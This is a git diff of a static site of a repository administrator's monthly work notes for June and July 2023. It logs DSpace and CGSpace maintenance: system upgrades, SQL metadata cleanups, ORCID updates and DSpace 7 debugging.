  • Export CGSpace again to do some major cleanups in OpenRefine +
      +
    • I found a few countries that are in the ISO 3166-1 and UN M.49 lists, but not in ours so I added them to the list in input-forms.xml and regenerated the controlled vocabularies for the CGSpace Submission Guidelines
      • +
    • There were a handful of issues with ISSNs, ISBNs, DOIs, access status, licenses, and missing CGIAR Trust Fund donors for Initiatives outputs
      • +
    • This was about 455 items
      • +
    +
    • +
  • Helping the Alliance web team understand the DSpace REST API for determining which collection an item belongs to
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2023-06/index.html b/docs/2023-06/index.html new file mode 100644 index 000000000..421637f84 --- /dev/null +++ b/docs/2023-06/index.html @@ -0,0 +1,500 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + June, 2023 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

June, 2023

+

+ + in + Notes + + +

+
+

2023-06-02

+
    +
  • Spend some time testing my post_bitstreams.py script to update thumbnails for items on CGSpace +
      +
    • Interestingly I found an item with a JFIF thumbnail and another with a WebP thumbnail…
      • +
    +
    • +
  • Meeting with Valentina, Stefano, and Sara about MODS metadata in CGSpace +
      +
    • They have experience with improving the MODS interface in MELSpace’s OAI-PMH for use with AGRIS and were curious if we could do the same in CGSpace
      • +
    • From what I can see we need to upgrade the MODS schema from 3.1 to 3.7 and then just add a bunch of our fields to the crosswalk
      • +
    +
    • +
+

2023-06-04

+
    +
  • Upgrade CGSpace to Ubuntu 22.04 +
      +
    • The upgrade was mostly normal, but I had to unhold the openjdk package in order for do-release-upgrade to run:
      • +
    +
    • +
+
# apt-mark hold openjdk-8-jdk-headless:amd64 openjdk-8-jre-headless:amd64
+
    +
  • In 2022-11 an upstream Java update broke the DSpace 6 Handle server so we will have to pin this again after the upgrade to Ubuntu 22.04
    • +
  • After the upgrade I made sure CGSpace was working, then proceeded to upgrade PostgreSQL from 12 to 14, like I did on DSpace Test in 2023-03
    • +
  • Then I had to downgrade OpenJDK to fix the Handle server using the ones I had previously downloaded for Ubuntu 20.04 because they no longer exist on Launchpad:
    • +
+
# dpkg -i openjdk-8-j*8u342-b07*.deb
+
    +
  • Export CGSpace to fix missing Initiative collection mappings
    • +
  • Start a harvest on AReS
    • +
  • Work on the DSpace 7 migration a bit more +
      +
    • I decided to rebase and drop all the submission form edits because they conflict every time upstream changes!
      • +
    +
    • +
+

2023-06-06

+
    +
  • Fix some incorrect ORCID identifiers for an Alliance author on CGSpace
    • +
  • Export our list of ORCID identifiers, resolve them, and update the records in CGSpace:
    • +
+
$ cat dspace/config/controlled-vocabularies/cg-creator-identifier.xml 2022-09-22-add-orcids.csv| grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort -u > /tmp/2023-06-06-orcids.txt
+$ ./ilri/resolve_orcids.py -i /tmp/2023-06-06-orcids.txt -o /tmp/2023-06-06-orcids-names.txt -d
+$ ./ilri/update_orcids.py -i /tmp/2023-06-06-orcids-names.txt -db dspacetest -u dspace -p 'ffff' -m 247
+
    +
  • Start working on updating the MODS schema in CGSpace from 3.1 to 3.8 based on Stefano and Salem’s work last year
    • +
+

2023-06-08

+
    +
  • Continue working on the MODS schema mapping
    • +
  • Export CGSpace to check and update dcterms.extent fields +
      +
    • I normalized about 1,500 to use either “p. 1-6” or “5 p.” format
      • +
    • Also, I used this GREL expression to extract missing pages from the citation field: cells['dcterms.bibliographicCitation[en_US]'].value.match(/.*(pp?\.\s?\d+[-–]\d+).*/)[0]
      • +
    • This was over 4,000 items with a format like “p. 1-6” and “pp. 1-6” in the citation
      • +
    • I used another GREL expression to extract another 5,000: cells['dcterms.bibliographicCitation[en_US]'].value.match(/.*?(\d+\s+?[Pp]+\.).*/)[0]
      • +
    • This was for the format like “1 p.” (note we had to protect against the greedy .* in the beginning)
      • +
    +
    • +
  • I also did some work to capture a handful of missing DOIs and ISSNs, but it was only about 100 items and I will have to wait until the 10,000+ above finish importing
    • +
+

2023-06-09

+
    +
  • I see there are ~200 users in CGSpace that have registered with their CGIAR email address using a password as opposed to using Active Directory:
    • +
+
SELECT * FROM eperson WHERE email LIKE '%cgiar.org' AND netid IS NOT NULL AND password IS NOT NULL;
+
    +
  • I am wondering if I should delete their passwords and tell them use log in using LDAP +
      +
    • As an initial test I will reset a few accounts including my own that have passwords and salts:
      • +
    +
    • +
+
UPDATE eperson SET password=DEFAULT,salt=DEFAULT,digest_algorithm=DEFAULT WHERE netid IN ('axxxx', 'axxxx', 'bxxxx');
+
    +
  • I also decided to reset passwords/salts for CGIAR accounts that have not been active since 2021 (1.5 years ago):
    • +
+
UPDATE eperson  SET password=DEFAULT,salt=DEFAULT,digest_algorithm=DEFAULT WHERE email LIKE '%cgiar.org' AND netid IS NOT NULL AND password IS NOT NULL AND salt IS NOT NULL AND last_active < '2022-01-01'::date;
+
    +
  • This was about 100 accounts… +
      +
    • I will wait some more time before I decide what to do about the more current ones
      • +
    +
    • +
  • Add a few more ORCID identifiers to my list and tag them on CGSpace
    • +
+

2023-06-10

+
    +
  • Export CGSpace to check for missing Initiative mappings +
      +
    • Start a harvest on AReS
      • +
    +
    • +
+

2023-06-11

+
    +
  • File an issue on DSpace for the Content-Disposition bug causing images to get downloaded instead of opened inline
    • +
+

2023-06-12

+
    +
  • Export CGSpace to do some more work extracting volume and issue from citations for items where they are missing +
      +
    • I found and fixed over 7,000!
      • +
    • Then I found and extracted another 7,000 items with no extents (pages)
      • +
    • Then I replaced all occurences of en dashes for ranges in pages with regular hyphens
      • +
    +
    • +
+

2023-06-13

+
    +
  • Last night I finally figured out how to do basic overrides to the simple item view in Angular
    • +
  • Add a handful of new ORCID identifiers to my list and tag them on CGSpace
    • +
  • Extract a list of all the proposed actions for CG Core output types and create a new issue for them on CG Core’s GitHub repository
    • +
  • Extract a list of all the proposed actions for CG Core output types for MARLO and create a new issue for them on MARLO’s GitHub repository
    • +
  • Meeting with Indira, Ryan, and Abenet to discuss plans for the DSpace 7 focus group
    • +
+

2023-06-14

+ +

2023-06-15

+
    +
  • A lot more work on DSpace 7 +
      +
    • I tested some pull requests and worked on the style of the item view and homepage
      • +
    +
    • +
+

2023-06-16

+ +

2023-06-17

+
    +
  • Export CGSpace to check for missing Initiative collection mappings +
      +
    • I also spent some time doing sanity checks on countries, regions, DOIs, and more
      • +
    +
    • +
  • I lowercased all our AGROVOC keywords in dcterms.subject:
    • +
+
dspace=# BEGIN;
+BEGIN
+dspace=*# UPDATE metadatavalue SET text_value=LOWER(text_value) WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=187 AND text_value ~ '[[:upper:]]';
+UPDATE 2392
+dspace=*# COMMIT;
+COMMIT
+
    +
  • Start a harvest on AReS
    • +
+

2023-06-19

+
    +
  • Today I started getting an error on DSpace 7 Test +
      +
    • The page loads, and then when it is almost done it goes blank to white with this in the console:
      • +
    +
    • +
+
ERROR DOMException: CSSStyleSheet.cssRules getter: Not allowed to access cross-origin stylesheet
+
    +
  • I restarted Angular, but it didn’t fix it
    • +
  • The yarn test:rest script shows everything OK, and I haven’t changed anything recently…
    • +
  • I re-compiled the Angular UI using the default theme and it was the same…
    • +
  • I tried in Firefox Nightly and it works… +
      +
    • So it must be something related to the browser
      • +
    • I tried clearing all the session storage / cookies and refreshing and it worked
      • +
    +
    • +
  • I switched back to the CGSpace theme and it happened again +
      +
    • I had a hunch it might be due to the GDPR cookie plugin in my browser, so I disabled that and then refreshed and it worked… hmmm
      • +
    +
    • +
  • Upload thumbnails for about 42 IITA Journal Articles after resolving their DOIs and making sure they were not CC ND +
      +
    • I fixed a few bugs in get_scihub_pdfs.py in the process
      • +
    +
    • +
+

2023-06-21

+
    +
  • Stefano got back to me about the MODS OAI-PMH schema test on DSpace Test + +
    • +
+

2023-06-25

+
    +
  • Export CGSpace to check for missing Initiative collection mappings
    • +
  • I wanted to start a harvest on AReS but I’ve seen the load on the server high for a few days and I’m not sure what it is +
      +
    • I decided to run all updates and reboot it since it’s Sunday anyway
      • +
    +
    • +
+

2023-06-26

+
    +
  • Since the new DSpace 7 will respect newlines in metadata fields I am curious to see how many of our abstracts have poor newlines +
      +
    • I exported CGSpace and used a custom text facet with this GREL expression in OpenRefine to count the number of newlines in each cell:
      • +
    +
    • +
+
value.split('\n').length()
+
    +
  • Also useful to check for general length of the text in the cell to make sure it’s a reasonably long string +
      +
    • I spent some time trying to find a pattern that I could use to identify “easy” targets, but there are so many exceptions that it will have to be done manually
      • +
    • I fixed a few dozen
      • +
    +
    • +
  • Do a bit of work on thumbnails on CGSpace
    • +
  • I’m trying to troubleshoot the Discovery error I get on DSpace 7:
    • +
+
java.lang.NullPointerException: Cannot invoke "org.dspace.discovery.configuration.DiscoverySearchFilterFacet.getIndexFieldName()" because the return value of "org.dspace.content.authority.DSpaceControlledVocabularyIndex.getFacetConfig()" is null
+
    +
  • I reverted to the default submission-forms.xml and the getFacetConfig() error goes away…
    • +
  • Kill some long-held locks on CGSpace PostgreSQL, as some users are complaining of slowness in archiving
    • +
  • I did some testing of the LDAP login issue related to groupmaps + +
    • +
  • I spent some time on working on Angular and I figured out how to add a custom Angular component to show the UN SDG Goal icons on DSpace 7
    • +
+

2023-06-27

+
    +
  • I debugged the NullPointerException and somehow it disappeared +
      +
    • It seems to be related to the external controlled vocabularies in the submission form
      • +
    • I removed them all, then added them all back, and now the issue is solved… hmmmm
      • +
    • Oh now, now they are gone again, sigh…
      • +
    +
    • +
+

2023-06-28

+
    +
  • Spent a lot of time debugging the browse indexes +
      +
    • Looking at the DSpace 7 demo API I see the four default browse indexes from dspace.cfg and the one default srsc one that gets automatically enabled from the <vocabulary>srsc</vocabulary> in the submission-forms.xml
      • +
    • The same API call on my test DSpace 7 configuration results in the HTTP 500 I’ve been seeing for some time, and I am pretty sure it’s due to the automagic configuration of hierarchical browses based on the submission form
      • +
    • Yes, if I remove them all from my submission form then this works: http://localhost:8080/server/api/discover/browses
      • +
    • I went through each of our vocabularies and tested them one by one: +
        +
      • dcterms-subject: OK
        • +
      • dc-contributor-author: NO
        • +
      • cg-creator-identifier: NO
        • +
      • cg-contributor-affiliation: OK (and with facetType: "affiliation" in API response?!)
        • +
      • cg-contributor-donor: OK (facetType: "sponsorship")
        • +
      • cg-journal: NO
        • +
      • cg-coverage-subregion: NO
        • +
      • cg-species-breed: NO
        • +
      +
      • +
    • Now I need to figure out what it is about those five that causes them to not work!
      • +
    • Ah, after debugging with someone on the DSpace Slack, I realized that DSpace expects these vocabularies to have corresponding indexes configured in discovery.xml, and they must be added as search filters AND sidebar facets.
      • +
    +
    • +
+

2023-06-29

+ +
dspace=# BEGIN;
+BEGIN
+dspace=*# UPDATE metadatavalue SET text_value=LOWER(text_value) WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=187 AND text_value ~ '[[:upper:]]';
+UPDATE 53
+dspace=*# COMMIT;
+
    +
  • After more discussion about the NullPointerException related to browse options, I filed an issue
    • +
+

2023-06-30

+
    +
  • I added another custom component to display CGIAR Impact Area icons in the DSpace 7 test
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2023-07/index.html b/docs/2023-07/index.html new file mode 100644 index 000000000..939397835 --- /dev/null +++ b/docs/2023-07/index.html @@ -0,0 +1,209 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + July, 2023 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

July, 2023

+

+ + in + Notes + + +

+
+

2023-07-01

+
    +
  • Export CGSpace to check for missing Initiative collection mappings
    • +
  • Start harvesting on AReS
    • +
+

2023-07-02

+
    +
  • Minor edits to the crossref_doi_lookup.py script while running some checks from 22,000 CGSpace DOIs
    • +
+

2023-07-03

+
    +
  • I analyzed the licenses declared by Crossref and found with high confidence that ~400 of ours were incorrect +
      +
    • I took the more accurate ones from Crossref and updated the items on CGSpace
      • +
    • I took a few hundred ISBNs as well for where we were missing them
      • +
    • I also tagged ~4,700 items with missing licenses as “Copyrighted; all rights reserved” based on their Crossref license status being TDM, mostly from Elsevier, Wiley, and Springer
      • +
    • Checking a dozen or so manually, I confirmed that if Crossref only has a TDM license then it’s usually copyrighted (could still be open access, but we can’t tell via Crossref)
      • +
    • I would be curious to write a script to check the Unpaywall API for open access status…
      • +
    • In the past I found that their license status was not very accurate, but the open access status might be more reliable
      • +
    +
    • +
  • More minor work on the DSpace 7 item views +
      +
    • I learned some new Angular template syntax
      • +
    • I created a custom component to show Creative Commons licenses on the simple item page
      • +
    • I also decided that I don’t like the Impact Area icons as a component because they don’t have any visual meaning
      • +
    +
    • +
+ + + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2023/01/cpu-week.png b/docs/2023/01/cpu-week.png new file mode 100644 index 000000000..087d9e888 Binary files /dev/null and b/docs/2023/01/cpu-week.png differ diff --git a/docs/2023/01/jmx_dspace_sessions-year.png b/docs/2023/01/jmx_dspace_sessions-year.png new file mode 100644 index 000000000..5cbc61563 Binary files /dev/null and b/docs/2023/01/jmx_dspace_sessions-year.png differ diff --git a/docs/2023/01/postgres_connections_ALL-day.png b/docs/2023/01/postgres_connections_ALL-day.png new file mode 100644 index 000000000..b9c2fe966 Binary files /dev/null and b/docs/2023/01/postgres_connections_ALL-day.png differ diff --git a/docs/2023/04/quality-vs-score-ssimulacra-v2.1.png b/docs/2023/04/quality-vs-score-ssimulacra-v2.1.png new file mode 100644 index 000000000..55eccf90d Binary files /dev/null and b/docs/2023/04/quality-vs-score-ssimulacra-v2.1.png differ diff --git a/docs/404.html b/docs/404.html new file mode 100644 index 000000000..3efbc53a8 --- /dev/null +++ b/docs/404.html @@ -0,0 +1,149 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + +
+
+

Page Not Found

+
+

Page not found. Go back home.

+
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/categories/index.html b/docs/categories/index.html new file mode 100644 index 000000000..133fc237f --- /dev/null +++ b/docs/categories/index.html @@ -0,0 +1,162 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/categories/index.xml b/docs/categories/index.xml new file mode 100644 index 000000000..fad5a3ad4 --- /dev/null +++ b/docs/categories/index.xml @@ -0,0 +1,20 @@ + + + + Categories on CGSpace Notes + https://alanorth.github.io/cgspace-notes/categories/ + Recent content in Categories on CGSpace Notes + Hugo -- gohugo.io + en-us + Sat, 01 Jul 2023 17:14:36 +0300 + + Notes + https://alanorth.github.io/cgspace-notes/categories/notes/ + Sat, 01 Jul 2023 17:14:36 +0300 + + https://alanorth.github.io/cgspace-notes/categories/notes/ + + + + + diff --git a/docs/categories/notes/index.html b/docs/categories/notes/index.html new file mode 100644 index 000000000..a55b289c5 --- /dev/null +++ b/docs/categories/notes/index.html @@ -0,0 +1,425 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + +
+
+

July, 2023

+

by Alan Orth in + Notes + + +

+
+ 2023-07-01 Export CGSpace to check for missing Initiative collection mappings Start harvesting on AReS 2023-07-02 Minor edits to the crossref_doi_lookup.py script while running some checks from 22,000 CGSpace DOIs 2023-07-03 I analyzed the licenses declared by Crossref and found with high confidence that ~400 of ours were incorrect I took the more accurate ones from Crossref and updated the items on CGSpace I took a few hundred ISBNs as well for where we were missing them I also tagged ~4,700 items with missing licenses as “Copyrighted; all rights reserved” based on their Crossref license status being TDM, mostly from Elsevier, Wiley, and Springer Checking a dozen or so manually, I confirmed that if Crossref only has a TDM license then it’s usually copyrighted (could still be open access, but we can’t tell via Crossref) I would be curious to write a script to check the Unpaywall API for open access status… In the past I found that their license status was not very accurate, but the open access status might be more reliable More minor work on the DSpace 7 item views I learned some new Angular template syntax I created a custom component to show Creative Commons licenses on the simple item page I also decided that I don’t like the Impact Area icons as a component because they don’t have any visual meaning + Read more → +
+ + + + + + +
+
+

June, 2023

+

by Alan Orth in + Notes + + +

+
+

2023-06-02

+
    +
  • Spend some time testing my post_bitstreams.py script to update thumbnails for items on CGSpace +
      +
    • Interestingly I found an item with a JFIF thumbnail and another with a WebP thumbnail…
      • +
    +
    • +
  • Meeting with Valentina, Stefano, and Sara about MODS metadata in CGSpace +
      +
    • They have experience with improving the MODS interface in MELSpace’s OAI-PMH for use with AGRIS and were curious if we could do the same in CGSpace
      • +
    • From what I can see we need to upgrade the MODS schema from 3.1 to 3.7 and then just add a bunch of our fields to the crosswalk
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

May, 2023

+

by Alan Orth in + Notes + + +

+
+

2023-05-03

+
    +
  • Alliance’s TIP team emailed me to ask about issues authenticating on CGSpace +
      +
    • It seems their password expired, which is annoying
      • +
    +
    • +
  • I continued looking at the CGSpace subjects for the FAO / AGROVOC exercise that I started last week +
      +
    • There are many of our subjects that would match if they added a “-” like “high yielding varieties” or used singular…
      • +
    • Also I found at least two spelling mistakes, for example “decison support systems”, which would match if it was spelled correctly
      • +
    +
    • +
  • Work on cleaning, proofing, and uploading twenty-seven records for IFPRI to CGSpace
    • +
+ Read more → +
+ + + + + + +
+
+

April, 2023

+

by Alan Orth in + Notes + + +

+
+

2023-04-02

+
    +
  • Run all system updates on CGSpace and reboot it
    • +
  • I exported CGSpace to CSV to check for any missing Initiative collection mappings +
      +
    • I also did a check for missing country/region mappings with csv-metadata-quality
      • +
    +
    • +
  • Start a harvest on AReS
    • +
+ Read more → +
+ + + + + + +
+
+

March, 2023

+

by Alan Orth in + Notes + + +

+
+

2023-03-01

+
    +
  • Remove cg.subject.wle and cg.identifier.wletheme from CGSpace input form after confirming with IWMI colleagues that they no longer need them (WLE closed in 2021)
    • +
  • iso-codes 4.13.0 was released, which incorporates my changes to the common names for Iran, Laos, and Syria
    • +
  • I finally got through with porting the input form from DSpace 6 to DSpace 7
    • +
+ Read more → +
+ + + + + + +
+
+

February, 2023

+

by Alan Orth in + Notes + + +

+
+

2023-02-01

+
    +
  • Export CGSpace to cross check the DOI metadata with Crossref +
      +
    • I want to try to expand my use of their data to journals, publishers, volumes, issues, etc…
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

January, 2023

+

by Alan Orth in + Notes + + +

+
+

2023-01-01

+
    +
  • Apply some more ORCID identifiers to items on CGSpace using my 2022-09-22-add-orcids.csv file +
      +
    • I want to update all ORCID names and refresh them in the database
      • +
    • I see we have some new ones that aren’t in our list if I combine with this file:
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

December, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-12-01

+
    +
  • Fix some incorrect regions on CGSpace +
      +
    • I exported the CCAFS and IITA communities, extracted just the country and region columns, then ran them through csv-metadata-quality to fix the regions
      • +
    +
    • +
  • Add a few more authors to my CSV with author names and ORCID identifiers and tag 283 items!
    • +
  • Replace “East Asia” with “Eastern Asia” region on CGSpace (UN M.49 region)
    • +
+ Read more → +
+ + + + + + +
+
+

November, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-11-01

+
    +
  • Last night I re-synced DSpace 7 Test from CGSpace +
      +
    • I also updated all my local 7_x-dev branches on the latest upstreams
      • +
    +
    • +
  • I spent some time updating the authorizations in Alliance collections +
      +
    • I want to make sure they use groups instead of individuals where possible!
      • +
    +
    • +
  • I reverted the Cocoon autosave change because it was more of a nuissance that Peter can’t upload CSVs from the web interface and is a very low severity security issue
    • +
+ Read more → +
+ + + + + + + + + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/categories/notes/index.xml b/docs/categories/notes/index.xml new file mode 100644 index 000000000..8ae193f7c --- /dev/null +++ b/docs/categories/notes/index.xml @@ -0,0 +1,1490 @@ + + + + Notes on CGSpace Notes + https://alanorth.github.io/cgspace-notes/categories/notes/ + Recent content in Notes on CGSpace Notes + Hugo -- gohugo.io + en-us + Sat, 01 Jul 2023 17:14:36 +0300 + + July, 2023 + https://alanorth.github.io/cgspace-notes/2023-07/ + Sat, 01 Jul 2023 17:14:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-07/ + 2023-07-01 Export CGSpace to check for missing Initiative collection mappings Start harvesting on AReS 2023-07-02 Minor edits to the crossref_doi_lookup.py script while running some checks from 22,000 CGSpace DOIs 2023-07-03 I analyzed the licenses declared by Crossref and found with high confidence that ~400 of ours were incorrect I took the more accurate ones from Crossref and updated the items on CGSpace I took a few hundred ISBNs as well for where we were missing them I also tagged ~4,700 items with missing licenses as &ldquo;Copyrighted; all rights reserved&rdquo; based on their Crossref license status being TDM, mostly from Elsevier, Wiley, and Springer Checking a dozen or so manually, I confirmed that if Crossref only has a TDM license then it&rsquo;s usually copyrighted (could still be open access, but we can&rsquo;t tell via Crossref) I would be curious to write a script to check the Unpaywall API for open access status&hellip; In the past I found that their license status was not very accurate, but the open access status might be more reliable More minor work on the DSpace 7 item views I learned some new Angular template syntax I created a custom component to show Creative Commons licenses on the simple item page I also decided that I don&rsquo;t like the Impact Area icons as a component because they don&rsquo;t have any visual meaning + + + + June, 2023 + https://alanorth.github.io/cgspace-notes/2023-06/ + Fri, 02 Jun 2023 10:29:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-06/ + <h2 id="2023-06-02">2023-06-02</h2> +<ul> +<li>Spend some time testing my <code>post_bitstreams.py</code> script to update thumbnails for items on CGSpace +<ul> +<li>Interestingly I found an item with a JFIF thumbnail and another with a WebP thumbnail&hellip;</li> +</ul> +</li> +<li>Meeting with Valentina, Stefano, and Sara about MODS metadata in CGSpace +<ul> +<li>They have experience with improving the MODS interface in MELSpace&rsquo;s OAI-PMH for use with AGRIS and were curious if we could do the same in CGSpace</li> +<li>From what I can see we need to upgrade the MODS schema from 3.1 to 3.7 and then just add a bunch of our fields to the crosswalk</li> +</ul> +</li> +</ul> + + + + May, 2023 + https://alanorth.github.io/cgspace-notes/2023-05/ + Wed, 03 May 2023 08:53:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-05/ + <h2 id="2023-05-03">2023-05-03</h2> +<ul> +<li>Alliance&rsquo;s TIP team emailed me to ask about issues authenticating on CGSpace +<ul> +<li>It seems their password expired, which is annoying</li> +</ul> +</li> +<li>I continued looking at the CGSpace subjects for the FAO / AGROVOC exercise that I started last week +<ul> +<li>There are many of our subjects that would match if they added a &ldquo;-&rdquo; like &ldquo;high yielding varieties&rdquo; or used singular&hellip;</li> +<li>Also I found at least two spelling mistakes, for example &ldquo;decison support systems&rdquo;, which would match if it was spelled correctly</li> +</ul> +</li> +<li>Work on cleaning, proofing, and uploading twenty-seven records for IFPRI to CGSpace</li> +</ul> + + + + April, 2023 + https://alanorth.github.io/cgspace-notes/2023-04/ + Sun, 02 Apr 2023 08:19:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-04/ + <h2 id="2023-04-02">2023-04-02</h2> +<ul> +<li>Run all system updates on CGSpace and reboot it</li> +<li>I exported CGSpace to CSV to check for any missing Initiative collection mappings +<ul> +<li>I also did a check for missing country/region mappings with csv-metadata-quality</li> +</ul> +</li> +<li>Start a harvest on AReS</li> +</ul> + + + + March, 2023 + https://alanorth.github.io/cgspace-notes/2023-03/ + Wed, 01 Mar 2023 07:58:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-03/ + <h2 id="2023-03-01">2023-03-01</h2> +<ul> +<li>Remove <code>cg.subject.wle</code> and <code>cg.identifier.wletheme</code> from CGSpace input form after confirming with IWMI colleagues that they no longer need them (WLE closed in 2021)</li> +<li><a href="https://salsa.debian.org/iso-codes-team/iso-codes/-/blob/main/CHANGELOG.md#4130-2023-02-28">iso-codes 4.13.0 was released</a>, which incorporates my changes to the common names for Iran, Laos, and Syria</li> +<li>I finally got through with porting the input form from DSpace 6 to DSpace 7</li> +</ul> + + + + February, 2023 + https://alanorth.github.io/cgspace-notes/2023-02/ + Wed, 01 Feb 2023 10:57:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-02/ + <h2 id="2023-02-01">2023-02-01</h2> +<ul> +<li>Export CGSpace to cross check the DOI metadata with Crossref +<ul> +<li>I want to try to expand my use of their data to journals, publishers, volumes, issues, etc&hellip;</li> +</ul> +</li> +</ul> + + + + January, 2023 + https://alanorth.github.io/cgspace-notes/2023-01/ + Sun, 01 Jan 2023 08:44:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-01/ + <h2 id="2023-01-01">2023-01-01</h2> +<ul> +<li>Apply some more ORCID identifiers to items on CGSpace using my <code>2022-09-22-add-orcids.csv</code> file +<ul> +<li>I want to update all ORCID names and refresh them in the database</li> +<li>I see we have some new ones that aren&rsquo;t in our list if I combine with this file:</li> +</ul> +</li> +</ul> + + + + December, 2022 + https://alanorth.github.io/cgspace-notes/2022-12/ + Thu, 01 Dec 2022 08:52:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-12/ + <h2 id="2022-12-01">2022-12-01</h2> +<ul> +<li>Fix some incorrect regions on CGSpace +<ul> +<li>I exported the CCAFS and IITA communities, extracted just the country and region columns, then ran them through csv-metadata-quality to fix the regions</li> +</ul> +</li> +<li>Add a few more authors to my CSV with author names and ORCID identifiers and tag 283 items!</li> +<li>Replace &ldquo;East Asia&rdquo; with &ldquo;Eastern Asia&rdquo; region on CGSpace (UN M.49 region)</li> +</ul> + + + + November, 2022 + https://alanorth.github.io/cgspace-notes/2022-11/ + Tue, 01 Nov 2022 09:11:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-11/ + <h2 id="2022-11-01">2022-11-01</h2> +<ul> +<li>Last night I re-synced DSpace 7 Test from CGSpace +<ul> +<li>I also updated all my local <code>7_x-dev</code> branches on the latest upstreams</li> +</ul> +</li> +<li>I spent some time updating the authorizations in Alliance collections +<ul> +<li>I want to make sure they use groups instead of individuals where possible!</li> +</ul> +</li> +<li>I reverted the Cocoon autosave change because it was more of a nuissance that Peter can&rsquo;t upload CSVs from the web interface and is a very low severity security issue</li> +</ul> + + + + October, 2022 + https://alanorth.github.io/cgspace-notes/2022-10/ + Sat, 01 Oct 2022 19:45:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-10/ + <h2 id="2022-10-01">2022-10-01</h2> +<ul> +<li>Start a harvest on AReS last night</li> +<li>Yesterday I realized how to use <a href="https://im4java.sourceforge.net/docs/dev-guide.html">GraphicsMagick with im4java</a> and I want to re-visit some of my thumbnail tests +<ul> +<li>I&rsquo;m also interested in libvips support via jVips, though last time I checked it was only for Java 8</li> +<li>I filed <a href="https://github.com/criteo/JVips/issues/141">an issue to ask about Java 11+ support</a></li> +</ul> +</li> +</ul> + + + + September, 2022 + https://alanorth.github.io/cgspace-notes/2022-09/ + Thu, 01 Sep 2022 09:41:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-09/ + <h2 id="2022-09-01">2022-09-01</h2> +<ul> +<li>A bit of work on the &ldquo;Mapping CG Core–CGSpace–MEL–MARLO Types&rdquo; spreadsheet</li> +<li>I tested an item submission on DSpace Test with the Cocoon <code>org.apache.cocoon.uploads.autosave=false</code> change +<ul> +<li>The submission works as expected</li> +</ul> +</li> +<li>Start debugging some region-related issues with csv-metadata-quality +<ul> +<li>I created a new test file <code>test-geography.csv</code> with some different scenarios</li> +<li>I also fixed a few bugs and improved the region-matching logic</li> +</ul> +</li> +</ul> + + + + August, 2022 + https://alanorth.github.io/cgspace-notes/2022-08/ + Mon, 01 Aug 2022 10:22:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-08/ + <h2 id="2022-08-01">2022-08-01</h2> +<ul> +<li>Our request to add <a href="https://github.com/spdx/license-list-XML/issues/1525">CC-BY-3.0-IGO to SPDX</a> was approved a few weeks ago</li> +</ul> + + + + July, 2022 + https://alanorth.github.io/cgspace-notes/2022-07/ + Sat, 02 Jul 2022 14:07:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-07/ + <h2 id="2022-07-02">2022-07-02</h2> +<ul> +<li>I learned how to use the Levenshtein functions in PostgreSQL +<ul> +<li>The thing is that there is a limit of 255 characters for these functions in PostgreSQL so you need to truncate the strings before comparing</li> +<li>Also, the trgm functions I&rsquo;ve used before are case insensitive, but Levenshtein is not, so you need to make sure to lower case both strings first</li> +</ul> +</li> +</ul> + + + + June, 2022 + https://alanorth.github.io/cgspace-notes/2022-06/ + Mon, 06 Jun 2022 09:01:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-06/ + <h2 id="2022-06-06">2022-06-06</h2> +<ul> +<li>Look at the Solr statistics on CGSpace +<ul> +<li>I see 167,000 hits from a bunch of Microsoft IPs with reverse DNS &ldquo;msnbot-&rdquo; using the Solr query <code>dns:*msnbot* AND dns:*.msn.com</code></li> +<li>I purged these first so I could see the other &ldquo;real&rdquo; IPs in the Solr facets</li> +</ul> +</li> +<li>I see 47,500 hits from 80.248.237.167 on a data center ISP in Sweden, 